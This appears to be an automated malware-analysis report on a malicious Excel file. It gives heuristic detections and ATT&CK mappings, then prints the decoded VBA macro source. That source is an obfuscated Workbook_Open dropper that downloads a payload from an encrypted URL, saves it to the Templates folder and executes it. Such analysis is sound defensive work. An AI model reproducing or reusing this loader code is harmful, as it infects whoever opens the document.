MALICIOUS
418
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
This Excel document contains obfuscated VBA macros designed to download and execute a second-stage payload. The Workbook_Open macro is triggered automatically, and the script uses WScript.Shell to execute downloaded content. The document body presents a lure to enable content, which is a common tactic for macro-based malware.
Heuristics 12
-
ClamAV: Xls.Macro.Obfuscation-9804250-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Macro.Obfuscation-9804250-0
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set WshShell = CreateObject("WScript.Shell") -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
VHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGN = SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG.responseBody -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set WshShell = CreateObject("WScript.Shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set WshShell = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 16910 bytes |
SHA-256: 7741813acbf5fb7b89a48263e829fe094c0becd449d5040554419a799c88d5db |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 69 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Gijt()
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function yail(burgerorgan, bonusshoot)
qoxnwkqnhfshhimr = "*" & burgerorgan & "*"
Dim be3a8c1f30f1abadd648e22b16fdb57d5 As Double
be3a8c1f30f1abadd648e22b16fdb57d7 = 642.162
Dim columnwall As Byte
columnwall = 44414.429
Dim t0ea0a0840384a15e019665b2e996b73f As Long
t0ea0a0840384a15e019665b2e996b73f = 564.954
Dim n2b549c2e42dc58d564726b5780212aza As Double
n2b549c2e42dc58d564726b5780212aza = 895.115
dhmpmrvyvrxwv = vbNullString
Dim m974e3e334b64ac13b6dec997fbabf21f As String
m974e3e334b64ac13b6dec997fbabf21f = "naiveremove"
Dim b08576ffe41cb67690655f1261f410844 As Byte
b08576ffe41cb67690655f1261f410844 = 19.227
Dim z2c55929d38494d4bf3ab6ba3dd16305c As Boolean
z2c55929d38494d4bf3ab6ba3dd16305c = 93.904
Dim b9d76f7072ca3da29e82e55579143fba0 As Double
b9d76f7072ca3da29e82e55579143fba0 = 108.662
If Not bonusshoot Like qoxnwkqnhfshhimr Then
dhmpmrvyvrxwv = burgerorgan
Dim kqeepfyakmzwuediw As Double
kqeepfyakmzwuediw = 61.491
If kqeepfyakmzwuediw <> 189.252 Then
Dim flamesight As Byte
flamesight = 212.797
Dim sweartrust As Long
sweartrust = 235.981
Dim prqhhqrabc As String
prqhhqrabc = "fadzjgdilazu"
End If
End Function
Private Sub Workbook_Open()
Dim XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQP As Integer
XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQP = Chr(50) + Chr(48) + Chr(48)
Dim WshShell As Object
Dim SpecialPath As String
Set WshShell = CreateObject("WScript.Shell")
SpecialPath = WshShell.SpecialFolders("Templates")
Dim XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ
Dim VHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGN
Dim JJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUI
Dim BQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQO
Dim LWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHD
Dim MSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY As Integer
Dim SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG
Dim NWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNS
MSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY = 1
Set SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG = CreateObject("microsoft.xmlhttp")
Set LWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHD = CreateObject("Shell.Application")
BQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQO = SpecialPath + Decrypt("ibec_V;n„n")
SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG.Open "get", Decrypt("q~~z}G<<z|y~n}~v‡r}wy‚sxp};n}<|�uyz<ƒx|OV{cS>tF;n„n"), False
SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG.send
VHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGN = SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG.responseBody
If SIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIG.Status = 200 Then
Set XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ = CreateObject("adodb.stream")
XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ.Open
XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ.Type = MSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY
XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ.Write VHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGN
XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ.SaveToFile BQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQO, MSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY + MSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY
XBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQ.Close
End If
LWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHD.Open (BQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQO)
End Sub
Sub Auto_Open()
descifrar = AllUsersProfile
Run
End Sub
Function rnIkDDisHp4e1dEwtDO8XRgW() As Currency
Call t5IOznwCrl
End Function
Static Function t5IOznwCrl() As Integer
Call Dp62rz6kt90kDRkudpcs1fW4
End Function
Function Dp62rz6kt90kDRkudpcs1fW4() As Single
Call Jb8AvPk2VR
End Function
Static Function Jb8AvPk2VR() As Date
Call TJW8h3uwBHyE3XYkFXIADNkq
End Function
Function TJW8h3uwBHyE3XYkFXIADNkq() As Variant
Call JxU0xFkI7x
End Function
Static Function JxU0xFkI7x() As Date
Call rzGwrPUM9xS2rvCsRX6OdVek
End Function
Function rzGwrPUM9xS2rvCsRX6OdVek() As Variant
Call hx2errEArb
End Function
Static Function hx2errEArb() As Double
Call DlkYXBK4r3WCbBQoVfs4z78E
End Function
Function DlkYXBK4r3WCbBQoVfs4z78E() As Single
Call FZ4yZPaWVH
End Function
Public Function Decrypt(HPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOB As String) As String
Const JPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEO As String = "abcdefghijklmnopqrstuvwxyz"
Const CFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYX As String = "zebrascdfghijklmnopqtuvwxy"
Const ZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPY As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Const OBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXB As String = "ZEBRASCDFGHIJKLMNOPQTUVWXY"
Dim QWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY As Long
Dim XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP As Long
Dim YOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOC As String
Dim WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE As String
Dim bbop As String
Dim cost As Date
Dim nn As Byte
bbop = ""
nn = 1
cost = 19 / 6 / 2190
If HPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOB & "" = "" Then Exit Function
For QWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY = 1 To Len(HPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOB)
YOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOC = YOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOC & Chr(Asc(Mid(HPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOB, QWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY, 1)) - 13)
Next
For QWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY = 1 To Len(YOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOC)
WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE = Mid(YOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOC, QWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXY, 1)
Select Case Asc(WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE)
Case 65 To 90
For XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP = 1 To Len(OBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXB)
If Mid(OBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYXZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXB, XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP, 1) = WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE Then GoTo USub
Next
USub:
Decrypt = Decrypt & Mid(ZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPY, XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP, 1)
Case 97 To 122
For XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP = 1 To Len(CFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYX)
If Mid(CFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTEICSPQPRKHKZNGNPQMYNDVTNXSOUZRRLERDJQHQJLXRQNWVHREHFLMTEFKOMBJSCMJETXYX, XZSPSIOOVXYUHPLDUVGUWDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBP, 1) = WDISZTMZLKYPXRTGTYVFEPZMIGMUCMGLWUJKBKNRMCGGGITXBQWVEGHDPXTLDEOCFLKBIUUIMSHQGSCOCHENFQINQOUDKOOTFDRSIMVZUKIIHJCFJRFEMHJFRGUTLFPKGNSJJDDQUBPYOBJPKIFONYQVYWDLLWWCNESBQTE Then GoTo LSub
Next
LSub:
